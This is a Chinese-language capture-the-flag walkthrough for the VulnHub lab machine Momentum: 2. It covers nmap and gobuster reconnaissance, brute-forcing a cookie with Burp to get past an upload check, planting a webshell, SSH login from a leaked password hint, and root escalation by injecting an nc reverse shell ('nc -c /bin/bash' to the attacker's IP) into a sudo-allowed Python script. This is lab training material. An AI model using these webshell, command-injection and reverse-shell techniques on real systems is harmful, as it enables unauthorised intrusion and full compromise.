準備:
攻擊機:虛擬機器kali、本機win10。
靶機:Momentum: 2,下載地址:https://download.vulnhub.com/momentum/Momentum2.ova,下載後直接vbox開啟即可。
知識點:檔案上傳、爆破、敏感檔案提權。
資訊收集:
透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.5.0/24,獲得靶機地址:192.168.5.177。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.16128.5.177,顯示開放了80、22埠,開啟了http服務、ssh服務。
目錄掃描:
訪問web服務和其原始碼資訊未發現可以利用的資訊,然後使用gobuster進行目錄掃描:gobuster dir -u http://192.168.5.177 -x php,php.bak,jsp,zip,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,發現ajax.php、ajax.php.bak、dashboard.html等檔案。
訪問dashboard.html檔案,返回一個檔案上傳頁面。隨便上傳一個後門檔案進行測試,但是上傳失敗。0即表示失敗,可以在http://192.168.5.177/js/main.js檔案中檢視。
訪問ajax.php.bak檔案,下載該檔案進行檢視,發現需要設定cookie資訊並且目前cookie資訊缺少一位,需要在最後補充一位大寫字母。需要傳遞secure引數值為val1d。
獲取shell:
使用bp抓取檔案上傳的資料包並修改資料包的資訊傳送到intruder模組進行爆破cookie資訊的最後一位。成功獲得cookie資訊的最後一位是R。
使用螞劍連線上傳的後門檔案並在/home/athena/目錄下發現user.txt檔案和password-reminder.txt檔案,訪問user.txt檔案獲得flag值,訪問assword-reminder.txt檔案獲得密碼提示資訊:myvulnerableapp[Asterisk]。
百度了下[Asterisk]的意思,發現代表*,因此猜測密碼是:myvulnerableapp*,使用獲得賬戶和密碼資訊:athena/myvulnerableapp*進行ssh登入,成功獲得athena賬戶的許可權。
提權:
檢視下當前賬戶是否存在可以使用的特權命令,sudo -l,發現:(root) NOPASSWD: /usr/bin/python3 /home/team-tasks/cookie-gen.py。然後檢視了下/home/team-tasks目錄下的檔案資訊,note.txt檔案告訴我們利用cookie-gen.py。
檢視cookie-gen.py檔案,發現其可以執行引數cmd的命令。具體的可查詢subprocess.Popen函式。cmd中包含seed引數,seed引數是由我們輸入的。
因此執行cookie-gen.py檔案並在kali中開啟對6688埠的監聽:sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py,然後輸入shell反彈語句:;nc -c /bin/bash 192.168.5.150 6688,成功獲得root許可權。
獲得root許可權後在/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。